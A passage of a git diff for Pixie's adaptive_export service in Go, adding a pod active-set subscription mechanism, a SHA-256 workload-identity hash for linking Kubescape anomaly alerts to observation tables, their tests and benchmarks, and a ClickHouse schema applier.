on +// real removals so subscribers can shrink whitelists. +func (s *ActiveSet) Remove(k Key) { + s.mu.Lock() + if _, ok := s.members[k]; !ok { + s.mu.Unlock() + return + } + delete(s.members, k) + s.version++ + v := s.version + s.mu.Unlock() + s.broadcast(Delta{Removed: []Key{k}, Version: v}) +} + +// PruneExpired removes every pod whose t_end is at or before `at`. +// Returns the removed keys for caller-side logging. Emits ONE delta +// containing all removals so subscribers re-evaluate once. +func (s *ActiveSet) PruneExpired(at time.Time) []Key { + s.mu.Lock() + var removed []Key + for k, tEnd := range s.members { + if !tEnd.After(at) { + removed = append(removed, k) + delete(s.members, k) + } + } + if len(removed) == 0 { + s.mu.Unlock() + return nil + } + s.version++ + v := s.version + s.mu.Unlock() + s.broadcast(Delta{Removed: removed, Version: v}) + return removed +} + +// Snapshot returns the current set + version atomically. Caller owns +// the returned slice — safe to mutate. Use this on subscription to +// build the initial whitelist before listening for deltas. +func (s *ActiveSet) Snapshot() ([]Key, uint64) { + s.mu.Lock() + defer s.mu.Unlock() + out := make([]Key, 0, len(s.members)) + for k := range s.members { + out = append(out, k) + } + return out, s.version +} + +// Size returns the current membership count (test + metric helper). +func (s *ActiveSet) Size() int { + s.mu.Lock() + defer s.mu.Unlock() + return len(s.members) +} + +// Subscribe returns a channel of deltas. Buffer size sets the +// tolerance for slow consumers; the channel drops oldest deltas on +// overflow and subscribers MUST re-snapshot if they detect a version +// gap. Channel is closed when ctx-equivalent shutdown is signalled +// via Unsubscribe. +// +// Race hazard: a caller that does `Snapshot()` then `Subscribe()` +// can miss any membership change that lands between the two calls. +// Prefer `SubscribeAndSnapshot()` which is atomic. +func (s *ActiveSet) Subscribe(buffer int) <-chan Delta { + if buffer < 1 { + buffer = 1 + } + ch := make(chan Delta, buffer) + s.subsMu.Lock() + s.subs = append(s.subs, ch) + s.subsMu.Unlock() + return ch +} + +// SubscribeAndSnapshot atomically captures the current membership +// AND registers the subscription, so the consumer is guaranteed to +// see EVERY change that lands at or after the returned version +// without losing changes in the race window between the two. +// +// Returned tuple: +// +// keys — current membership at snapshot time +// deltas — channel that will receive every future delta +// version — the version of `keys`; consumers can filter the +// channel by `delta.Version > version` +// +// This is the recommended consumer API for bootstrapping. +func (s *ActiveSet) SubscribeAndSnapshot(buffer int) ([]Key, <-chan Delta, uint64) { + if buffer < 1 { + buffer = 1 + } + ch := make(chan Delta, buffer) + // Hold BOTH mutexes for the duration of {snapshot, register}. + // Order: s.mu first (membership), then s.subsMu (subscriber list). + // broadcast() takes only s.subsMu, so there's no ordering risk. + s.mu.Lock() + keys := make([]Key, 0, len(s.members)) + for k := range s.members { + keys = append(keys, k) + } + version := s.version + s.subsMu.Lock() + s.subs = append(s.subs, ch) + s.subsMu.Unlock() + s.mu.Unlock() + return keys, ch, version +} + +// Unsubscribe removes and closes a previously-returned channel. +// Idempotent (no error on unknown chan). +func (s *ActiveSet) Unsubscribe(ch <-chan Delta) { + s.subsMu.Lock() + defer s.subsMu.Unlock() + for i, c := range s.subs { + // compare on the directional alias — Go permits this implicit conversion + if (<-chan Delta)(c) == ch { + s.subs = append(s.subs[:i], s.subs[i+1:]...) + close(c) + return + } + } +} + +// broadcast attempts to send to every subscriber non-blockingly. On +// buffer overflow the OLDEST delta is dropped so the most recent +// state-change always reaches the subscriber (it'll re-snapshot if +// the version gap matters). This is the contract: subscribers MUST +// tolerate dropped deltas + use Snapshot to reconcile. +func (s *ActiveSet) broadcast(d Delta) { + s.subsMu.Lock() + defer s.subsMu.Unlock() + for _, c := range s.subs { + select { + case c <- d: + default: + // Drop oldest by draining one then sending. + select { + case <-c: + default: + } + select { + case c <- d: + default: + } + } + } +} diff --git a/src/vizier/services/adaptive_export/internal/activeset/activeset_test.go b/src/vizier/services/adaptive_export/internal/activeset/activeset_test.go new file mode 100644 index 00000000000..47ff9ad7c78 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/activeset/activeset_test.go @@ -0,0 +1,225 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package activeset + +import ( + "sync" + "testing" + "time" +) + +func TestUpsertEmitsAddedDelta(t *testing.T) { + s := New() + ch := s.Subscribe(4) + s.Upsert(Key{Namespace: "ns", Pod: "p1"}, time.Now().Add(5*time.Minute)) + select { + case d := <-ch: + if len(d.Added) != 1 || d.Added[0].Pod != "p1" { + t.Fatalf("expected added=[p1], got %+v", d) + } + case <-time.After(200 * time.Millisecond): + t.Fatalf("no delta") + } +} + +func TestUpsertExtendDoesNotEmitDelta(t *testing.T) { + s := New() + ch := s.Subscribe(4) + k := Key{Namespace: "ns", Pod: "p1"} + t0 := time.Now() + s.Upsert(k, t0.Add(1*time.Minute)) + <-ch // drain initial add + s.Upsert(k, t0.Add(5*time.Minute)) + select { + case d := <-ch: + t.Fatalf("unexpected delta on pure extension: %+v", d) + case <-time.After(100 * time.Millisecond): + // good + } +} + +func TestRemoveEmitsRemovedDelta(t *testing.T) { + s := New() + ch := s.Subscribe(4) + k := Key{Namespace: "ns", Pod: "p1"} + s.Upsert(k, time.Now().Add(1*time.Minute)) + <-ch + s.Remove(k) + select { + case d := <-ch: + if len(d.Removed) != 1 || d.Removed[0].Pod != "p1" { + t.Fatalf("expected removed=[p1], got %+v", d) + } + case <-time.After(200 * time.Millisecond): + t.Fatalf("no delta") + } +} + +func TestPruneExpiredBatchesRemovals(t *testing.T) { + s := New() + ch := s.Subscribe(4) + now := time.Now() + s.Upsert(Key{Pod: "a"}, now.Add(-time.Minute)) // already expired + s.Upsert(Key{Pod: "b"}, now.Add(time.Minute)) // still active + s.Upsert(Key{Pod: "c"}, now.Add(-time.Second)) // already expired + // drain the three add deltas + for i := 0; i < 3; i++ { + <-ch + } + removed := s.PruneExpired(now) + if len(removed) != 2 { + t.Fatalf("expected 2 removals, got %d (%v)", len(removed), removed) + } + select { + case d := <-ch: + if len(d.Removed) != 2 { + t.Fatalf("expected single delta with 2 removals, got %+v", d) + } + case <-time.After(200 * time.Millisecond): + t.Fatalf("no delta from PruneExpired") + } +} + +func TestUpsertExtendDoesNotAdvanceVersion(t *testing.T) { + // Per CR feedback (activeset.go:110): pure extension shouldn't + // bump version, because the version is the consumer's "did + // membership change?" signal. Spurious bumps make subscribers + // re-snapshot for nothing. + s := New() + k := Key{Pod: "p"} + s.Upsert(k, time.Now().Add(time.Minute)) + _, v1 := s.Snapshot() + // Extend the SAME pod's t_end repeatedly. + for i := 0; i < 10; i++ { + s.Upsert(k, time.Now().Add(time.Duration(i+2)*time.Minute)) + } + _, v2 := s.Snapshot() + if v2 != v1 { + t.Fatalf("version advanced on pure extension: v1=%d v2=%d", v1, v2) + } + // But a new pod DOES advance. + s.Upsert(Key{Pod: "q"}, time.Now().Add(time.Minute)) + _, v3 := s.Snapshot() + if v3 == v2 { + t.Fatalf("version did NOT advance on new pod add: v=%d", v3) + } +} + +func TestSnapshotReturnsCurrentMembers(t *testing.T) { + s := New() + s.Upsert(Key{Namespace: "n1", Pod: "p1"}, time.Now().Add(time.Minute)) + s.Upsert(Key{Namespace: "n2", Pod: "p2"}, time.Now().Add(time.Minute)) + keys, v := s.Snapshot() + if len(keys) != 2 { + t.Fatalf("expected 2 keys, got %d", len(keys)) + } + if v == 0 { + t.Fatalf("version should have advanced") + } +} + +func TestSubscriberOverflowDropsOldest(t *testing.T) { + s := New() + ch := s.Subscribe(2) // tiny buffer + for i := 0; i < 10; i++ { + s.Upsert(Key{Pod: string(rune('a' + i))}, time.Now().Add(time.Minute)) + } + // We expect at most buffer-size deltas to survive — the rest were dropped. + collected := 0 + for { + select { + case <-ch: + collected++ + case <-time.After(50 * time.Millisecond): + if collected == 0 { + t.Fatalf("got zero deltas; broadcast is broken") + } + if collected > 2 { + t.Fatalf("got %d deltas from a 2-buffer channel; drop-oldest broken", collected) + } + return + } + } +} + +// TestSubscribeAndSnapshot_RaceFreeBootstrap — per CR (activeset.go:183): +// a consumer that wants both "initial state" + "all future deltas" +// must be able to do so without missing changes between Snapshot() +// and Subscribe(). Verify the combined helper. +func TestSubscribeAndSnapshot_RaceFreeBootstrap(t *testing.T) { + s := New() + s.Upsert(Key{Pod: "preexisting"}, time.Now().Add(time.Minute)) + + // Simulate a hostile interleaving: between when we'd call Snapshot + // and when we'd call Subscribe, a concurrent Upsert lands. + // Without a combined helper, we'd miss it. The combined helper + // must report the new pod EITHER in the initial set OR in the + // first delta — never lost. + keys, ch, version := s.SubscribeAndSnapshot(4) + // Concurrent upsert AFTER subscription. + go func() { + s.Upsert(Key{Pod: "racy"}, time.Now().Add(time.Minute)) + }() + + if len(keys) != 1 || keys[0].Pod != "preexisting" { + t.Fatalf("initial snapshot wrong: %+v", keys) + } + // Drain delta. + select { + case d := <-ch: + if d.Version <= version { + t.Fatalf("delta version %d <= snapshot version %d", d.Version, version) + } + seen := false + for _, k := range d.Added { + if k.Pod == "racy" { + seen = true + } + } + if !seen { + t.Fatalf("racy pod not in delta added=%v", d.Added) + } + case <-time.After(500 * time.Millisecond): + t.Fatalf("no delta within 500ms") + } +} + +func TestConcurrentUpsertsAreSafe(t *testing.T) { + s := New() + var wg sync.WaitGroup + for i := 0; i < 50; i++ { + i := i + wg.Add(1) + go func() { + defer wg.Done() + s.Upsert(Key{Pod: string(rune('a' + (i % 26)))}, time.Now().Add(time.Minute)) + }() + } + wg.Wait() + if s.Size() == 0 { + t.Fatalf("size 0 after 50 concurrent upserts") + } +} + +func TestRenderKey(t *testing.T) { + if got := (Key{Namespace: "n", Pod: "p"}).Render(); got != "n/p" { + t.Fatalf("render = %q, want n/p", got) + } + if got := (Key{Pod: "p"}).Render(); got != "p" { + t.Fatalf("render(no ns) = %q, want p", got) + } +} diff --git a/src/vizier/services/adaptive_export/internal/anomaly/BUILD.bazel b/src/vizier/services/adaptive_export/internal/anomaly/BUILD.bazel new file mode 100644 index 00000000000..8f0d97ac68c --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/anomaly/BUILD.bazel @@ -0,0 +1,34 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "anomaly", + srcs = ["hash.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/anomaly", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], +) + +pl_go_test( + name = "anomaly_test", + srcs = [ + "hash_bench_test.go", + "hash_test.go", + ], + embed = [":anomaly"], +) diff --git a/src/vizier/services/adaptive_export/internal/anomaly/hash.go b/src/vizier/services/adaptive_export/internal/anomaly/hash.go new file mode 100644 index 00000000000..0a0bbaac613 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/anomaly/hash.go @@ -0,0 +1,86 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Package anomaly defines the source-agnostic identity of one anomaly +// observation: a four-field Target and the deterministic AnomalyHash +// derived from it. +// +// AnomalyHash is the join key written by the operator into +// forensic_db.adaptive_attribution and joined against pixie observation +// tables on (hostname, namespace, pod, time_). +// +// The hash is workload-identity, NOT event-identity: it carries no +// timestamp and no rule id. The same workload firing N anomalies +// produces N kubescape rows, all collapsing to the same hash. This +// makes the hash a meaningful partition / join key. +package anomaly + +import ( + "crypto/sha256" + "encoding/binary" + "encoding/hex" +) + +// AnomalyHash is the 32-hex-character (16-byte) join key derived from +// a Target. Same Target → same AnomalyHash, every time. +type AnomalyHash string + +// Target is the workload-identity used for hashing. Pod and Namespace +// MAY be empty (host-pid processes outside any pod). PID + Comm are +// always required by the producer; the hash function does not enforce +// that — extraction is the place to enforce. +// +// Note: timestamp and rule id deliberately not in the hash. Different +// rule firings on the same workload share the same hash; the time +// dimension is carried separately in the attribution row's +// (t_start, t_end) interval. +type Target struct { + PID uint64 + Comm string + Pod string // may be empty + Namespace string // may be empty +} + +// Hash returns the deterministic 32-hex-character AnomalyHash for the +// given Target. SHA-256 over a length-prefixed canonical encoding of +// the four identity fields, truncated to the leading 16 bytes +// (32 hex chars). 128 collision bits suffice for the workload +// cardinality envelope. +// +// The encoding is: PID as big-endian uint64, followed by each string +// as uint32-LE length || bytes. Length prefixing is collision-safe +// across delimiter-bearing or empty inputs (a plain ":"-join is not — +// e.g. {Pod:"a:b", NS:""} would collide with {Pod:"a", NS:"b:"}). +func Hash(t Target) AnomalyHash { + h := sha256.New() + var pidBuf [8]byte + binary.BigEndian.PutUint64(pidBuf[:], t.PID) + h.Write(pidBuf[:]) + writeLenPrefixed(h, t.Comm) + writeLenPrefixed(h, t.Pod) + writeLenPrefixed(h, t.Namespace) + sum := h.Sum(nil) + return AnomalyHash(hex.EncodeToString(sum[:16])) +} + +// writeLenPrefixed writes uint32-LE length followed by the raw bytes. +// 4 GiB per field is well above any realistic Pod/Namespace/Comm size. +func writeLenPrefixed(h interface{ Write([]byte) (int, error) }, s string) { + var lenBuf [4]byte + binary.LittleEndian.PutUint32(lenBuf[:], uint32(len(s))) + _, _ = h.Write(lenBuf[:]) + _, _ = h.Write([]byte(s)) +} diff --git a/src/vizier/services/adaptive_export/internal/anomaly/hash_bench_test.go b/src/vizier/services/adaptive_export/internal/anomaly/hash_bench_test.go new file mode 100644 index 00000000000..74d0e8d0b75 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/anomaly/hash_bench_test.go @@ -0,0 +1,119 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package anomaly + +import ( + "fmt" + "sync/atomic" + "testing" +) + +// anomaly.Hash sits on the HOTTEST path in AE: it runs for every +// kubescape event the trigger fans into the controller. At ~1k +// events/sec on a busy cluster, that's 1k Hash() calls/sec PLUS the +// kubescape extraction allocations on each upstream Row. +// +// These benchmarks establish the per-call cost. The fields are sized +// to match real workloads: Pod is the standard 51-char k8s name, +// Namespace ~20 chars, Comm 16 chars (max kernel limit). + +func benchTarget(i int) Target { + return Target{ + PID: uint64(1000 + i), + Comm: "java", + Pod: "backend-vulnerable-779cd9d765-mxr8t-replica-shard-9", + Namespace: "log4j-poc-production", + } +} + +func BenchmarkHash(b *testing.B) { + t := benchTarget(0) + b.ReportAllocs() + b.ResetTimer() + for i := 0; i < b.N; i++ { + _ = Hash(t) + } +} + +// BenchmarkHash_Unique varies the PID each iteration. Establishes +// what the hash costs when the inputs aren't shared across calls (so +// no CPU caching shortcut on the input bytes). +func BenchmarkHash_Unique(b *testing.B) { + b.ReportAllocs() + b.ResetTimer() + for i := 0; i < b.N; i++ { + _ = Hash(benchTarget(i)) + } +} + +// BenchmarkHash_LongNamespace pumps the fields to their realistic +// upper bound (256-char Pod, 63-char namespace per k8s DNS limits). +// Shows whether the SHA-256 step or the writeLenPrefixed allocations +// dominate. +func BenchmarkHash_LongFields(b *testing.B) { + t := Target{ + PID: 12345, + Comm: "very-long-process-name-near-kernel-limit-16chrs!", + Pod: "extremely-long-statefulset-pod-name-with-replica-suffix-and-shard-suffix-pushing-the-k8s-253-char-dns-limit-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", + Namespace: "production-tenant-namespace-63-chars-aaaaaaaaaaaaaaaaaaaaaaaaa", + } + b.ReportAllocs() + b.ResetTimer() + for i := 0; i < b.N; i++ { + _ = Hash(t) + } +} + +// BenchmarkHash_Parallel measures contention under GOMAXPROCS +// goroutines computing hashes in parallel. AE on a busy cluster has +// 11 BatchWriter + 11 TableScanner streaming goroutines plus the +// controller fan-out; if Hash's sha256.New() or its hex.EncodeToString +// hit a shared allocator pool, parallel speedup will collapse. +func BenchmarkHash_Parallel(b *testing.B) { + b.ReportAllocs() + b.ResetTimer() + var i atomic.Uint64 + b.RunParallel(func(pb *testing.PB) { + for pb.Next() { + _ = Hash(benchTarget(int(i.Add(1)))) + } + }) +} + +// BenchmarkHash_KubescapeReplay simulates the trigger-controller +// fan-out: drain a batch of 10k events (the configured PollLimit +// default) by hashing each one's target. Measures the per-batch +// hash cost — call once per trigger poll on a busy cluster. +func BenchmarkHash_KubescapeReplay(b *testing.B) { + const batch = 10_000 + targets := make([]Target, batch) + for i := range targets { + targets[i] = Target{ + PID: uint64(1000 + i), + Comm: fmt.Sprintf("proc-%d", i%64), + Pod: fmt.Sprintf("backend-%d-7bdf99c466-replica-%d", i%32, i%4), + Namespace: fmt.Sprintf("ns-%d", i%8), + } + } + b.ResetTimer() + b.ReportAllocs() + for n := 0; n < b.N; n++ { + for j := range targets { + _ = Hash(targets[j]) + } + } +} diff --git a/src/vizier/services/adaptive_export/internal/anomaly/hash_test.go b/src/vizier/services/adaptive_export/internal/anomaly/hash_test.go new file mode 100644 index 00000000000..360f3422928 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/anomaly/hash_test.go @@ -0,0 +1,140 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package anomaly + +import ( + "reflect" + "testing" +) + +// canonical fixture: redis CVE-2025-49844 R1005 alert (workload identity only). +var canonicalTarget = Target{ + PID: 106040, + Comm: "redis-server", + Pod: "redis-578d5dc9bd-kjj78", + Namespace: "redis", +} + +// TestHash_Deterministic — same Target hashes identically every call. +func TestHash_Deterministic(t *testing.T) { + a := Hash(canonicalTarget) + b := Hash(canonicalTarget) + if a != b { + t.Fatalf("not deterministic: %q vs %q", a, b) + } + if got := len(a); got != 32 { + t.Fatalf("len %d, want 32 hex chars", got) + } +} + +// TestHash_DiffersOnPID — two processes on the same pod still hash differently +// (we want PER-process attribution). +func TestHash_DiffersOnPID(t *testing.T) { + other := canonicalTarget + other.PID = canonicalTarget.PID + 1 + if Hash(canonicalTarget) == Hash(other) { + t.Fatalf("collision on PID change") + } +} + +// TestHash_DiffersOnComm — different comm under same PID/pod/ns must differ. +func TestHash_DiffersOnComm(t *testing.T) { + other := canonicalTarget + other.Comm = "redis-cli" + if Hash(canonicalTarget) == Hash(other) { + t.Fatalf("collision on Comm change") + } +} + +// TestHash_DiffersOnPod — different replicas of same workload differ. +func TestHash_DiffersOnPod(t *testing.T) { + other := canonicalTarget + other.Pod = "redis-578d5dc9bd-OTHER" + if Hash(canonicalTarget) == Hash(other) { + t.Fatalf("collision on Pod change") + } +} + +// TestHash_DiffersOnNamespace — same pod name in different ns must differ. +func TestHash_DiffersOnNamespace(t *testing.T) { + other := canonicalTarget + other.Namespace = "redis-staging" + if Hash(canonicalTarget) == Hash(other) { + t.Fatalf("collision on Namespace change") + } +} + +// TestHash_AllowsEmptyPod — host-pid processes have no pod/namespace. +// Hash must still be computable and stable. +func TestHash_AllowsEmptyPod(t *testing.T) { + host := Target{PID: 1, Comm: "systemd"} + a := Hash(host) + b := Hash(host) + if a != b { + t.Fatalf("empty-pod hash not deterministic") + } + if len(a) != 32 { + t.Fatalf("empty-pod hash len %d", len(a)) + } + // empty-pod target must collide with itself but not with the + // non-empty-pod canonical target. + if a == Hash(canonicalTarget) { + t.Fatalf("empty-pod hash collides with named-pod hash") + } +} + +// TestHash_NoTimestampInfluence — verifies the hash function takes only +// the four identity fields. (No EventTime / RuleID parameter exists.) +// This is a structural test: the Target struct has exactly 4 fields, +// all part of the canonical form. If you add a field, you must decide +// whether it belongs in the hash and update this test. +func TestHash_NoTimestampInfluence(t *testing.T) { + // Pin the shape so adding a new field (even at zero value) makes + // this test fail loudly. CR feedback: an equality-of-two-equal- + // constructions check would pass even when a new field is added, + // so we also assert the type's field count. + const wantFields = 4 + if got := reflect.TypeOf(Target{}).NumField(); got != wantFields { + t.Fatalf("Target field count = %d, want %d; decide whether the new "+ + "field belongs in the canonical hash form (update Hash + this guard)", + got, wantFields) + } + a := Target{PID: 1, Comm: "x", Pod: "p", Namespace: "n"} + if Hash(a) != Hash(Target{PID: 1, Comm: "x", Pod: "p", Namespace: "n"}) { + t.Fatalf("Target hash leaks an unrecognised field") + } +} + +// TestHash_NoDelimiterCollision — naive ":"-joined canonical forms +// collide when input values can contain ":" or be empty. The fix is a +// length-prefixed (or otherwise delimiter-safe) encoding before hashing. +// Without that fix, the two Targets below produce the same canonical +// string and therefore the same hash. +func TestHash_NoDelimiterCollision(t *testing.T) { + a := Target{PID: 0, Comm: "", Pod: "a:b", Namespace: ""} + b := Target{PID: 0, Comm: "", Pod: "a", Namespace: "b:"} + if Hash(a) == Hash(b) { + t.Fatalf("delimiter collision: %+v and %+v hash to the same value (%s)", + a, b, Hash(a)) + } + c := Target{PID: 0, Comm: "x:y", Pod: "", Namespace: ""} + d := Target{PID: 0, Comm: "x", Pod: "y:", Namespace: ""} + if Hash(c) == Hash(d) { + t.Fatalf("delimiter collision: %+v and %+v hash to the same value (%s)", + c, d, Hash(c)) + } +} diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/BUILD.bazel b/src/vizier/services/adaptive_export/internal/clickhouse/BUILD.bazel new file mode 100644 index 00000000000..59ef476e608 --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/BUILD.bazel @@ -0,0 +1,41 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("//bazel:pl_build_system.bzl", "pl_go_test") + +go_library( + name = "clickhouse", + srcs = [ + "apply.go", + "ddl.go", + "insert.go", + ], + embedsrcs = ["schema.sql"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/internal/clickhouse", + visibility = ["//src/vizier/services/adaptive_export:__subpackages__"], +) + +pl_go_test( + name = "clickhouse_test", + srcs = [ + "apply_test.go", + "columns_test.go", + "ddl_test.go", + "insert_test.go", + ], + embed = [":clickhouse"], +) diff --git a/src/vizier/services/adaptive_export/internal/clickhouse/apply.go b/src/vizier/services/adaptive_export/internal/clickhouse/apply.go new file mode 100644 index 00000000000..484d3d81f8a --- /dev/null +++ b/src/vizier/services/adaptive_export/internal/clickhouse/apply.go @@ -0,0 +1,280 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +package clickhouse + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "strings" + "time" +) + +// OperatorOwnedTables is the subset of KnownTables the adaptive_export +// operator creates on boot. Kubescape tables (alerts, kubescape_logs) +// are NOT here — they are owned by the soc/tree/clickhouse-lab +// installer. Order matters: adaptive_attribution last so it does not +// reference any pixie table during creation (it does not, but the +// invariant is cheap to keep). +var OperatorOwnedTables = []string{ + // 12 pixie socket_tracer tables — created BEFORE Pixie's retention + // plugin gets a chance to auto-DDL them (which would omit our + // namespace + pod columns and break analyst JOINs). + "http_events", + "http2_messages.beta", + "dns_events", + "redis_events", + "mysql_events", + "pgsql_events", + "cql_events", + "mongodb_events", + "kafka_events.beta", + "amqp_events", + "mux_events", + "tls_events", + // conn_stats — pixie observation table; created in the + // same boot pass as the others so Apply (here) and Verify (KnownTables + // in ddl.go) can't drift. The drift was a real regression: aeprod3/4/5 + // shipped with this list at 14 entries while ddl.go's KnownTables had 15, + // so Apply created 14 tables on fresh install and Verify failed at boot + // with "conn_stats schema drift, missing columns". Locked down by + // TestOperatorOwnedTables_CoversAllPixieTables in apply_test.go. + "conn_stats", + // operator's write targets. + "adaptive_attribution", + "trigger_watermark", +} + +// Applier applies operator-owned DDL to a ClickHouse cluster over the +// HTTP interface (default 8123). Used at boot. +type Applier struct { + endpoint string + user string + pass string + client *http.Client +} + +// NewApplier validates the endpoint and returns a ready Applier. +func NewApplier(endpoint, user, pass string) (*Applier, error) { + if endpoint == "" { + return nil, fmt.Errorf("clickhouse: empty endpoint") + } + // Reject anything that isn't an absolute http/https URL — net/http will + // otherwise interpret things like "localhost:8123" as a relative path + // and fail much later with a confusing "missing protocol scheme" deep + // inside the first request. + u, err := url.Parse(endpoint) + if err != nil || u.Scheme == "" || u.Host == "" || (u.Scheme != "http" && u.Scheme != "https") { + return nil, fmt.Errorf("clickhouse: invalid endpoint %q (must be absolute http/https URL)", endpoint) + } + return &Applier{ + endpoint: strings.TrimRight(endpoint, "/"), + user: user, + pass: pass, + client: &http.Client{Timeout: 30 * time.Second}, + }, nil +} + +// Apply ensures forensic_db exists, then runs CREATE TABLE IF NOT +// EXISTS for every OperatorOwnedTables entry in declared order. +// Idempotent. Returns the first error encountered without continuing — +// callers should treat schema apply as a precondition for the rest of +// boot. +func (a *Applier) Apply(ctx context.Context) error { + if err := a.execute(ctx, "CREATE DATABASE IF NOT EXISTS forensic_db"); err != nil { + return fmt.Errorf("apply: create database forensic_db: %w", err) + } + for _, table := range OperatorOwnedTables { + ddl, err := DDL(table) + if err != nil { + return fmt.Errorf("apply: get DDL for %s: %w", table, err) + } + if err := a.execute(ctx, ddl); err != nil { + return fmt.Errorf("apply: create %s: %w", table, err) + } + } + return nil +} + +// execute POSTs a single DDL statement to ClickHouse via the HTTP +// query endpoint. Non-2xx responses surface as Go errors. +func (a *Applier) execute(ctx context.Context, sql string) error { + req, err := http.NewRequestWithContext(ctx, http.MethodPost, + a.endpoint+"/", strings.NewReader(sql)) + if err != nil { + return err + } + if a.user != "" { + req.SetBasicAuth(a.user, a.pass) + } + resp, err := a.client.Do(req) + if err != nil { + return err + } + defer resp.Body.Close() + if resp.StatusCode/100 != 2 { + body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096)) + return fmt.Errorf("HTTP %d: %s", resp.StatusCode, strings.TrimSpace(string(body))) + } + return nil +} + +// SchemaDriftError is returned by VerifyPixieSchema when a pixie +// observation table is missing one or more of the operator-required +// columns. errors.Is-friendly. +type SchemaDriftError struct { + Table string + Missing []string +} + +func (e *SchemaDriftError) Error() string { + return fmt.Sprintf("clickhouse: pixie table %q schema drift, missing columns: %s", + e.Table, strings.Join(e.Missing, ", ")) +} + +// requiredPixieColumns are the columns every pixie observation table +// MUST have for adaptive_attribution JOINs to work. namespace + pod are +// our additions over Pixie's auto-DDL; hostname + time_ are Pixie's own +// canonical columns we depend on. +var requiredPixieColumns = []string{"namespace", "pod", "hostname", "time_"} + +// VerifyPixieSchema queries system.columns for each pixie observation +// table and confirms EVERY column AE writes for that table is present +// in CH. This is the **writer ⇔ schema contract** test (the T1 in +// the operator's PR #47 schema-loss report on 2026-06-07). +// +// The earlier shape of this function only checked the 4 +// operator-required columns (namespace/pod/hostname/time_) — a table +// could be hand-created with those four plus a different subset of +// data columns and pass verification, while AE's writer would post +// JSON containing the column names schema.sql says the table should +// have. The result on rig 6a25c85c: CH silently dropped 22 of 24 +// columns into nothing because they were "unknown fields" +// (input_format_skip_unknown_fields default = 1), AE's +// summaryWroteFewerThan saw written_rows=0 / rows_sent=259 only AFTER +// the data was lost, and the controller hot-looped on the rejection. +// +// The expanded contract: for every table in PixieTables(), CH's +// actual column set must be a superset of 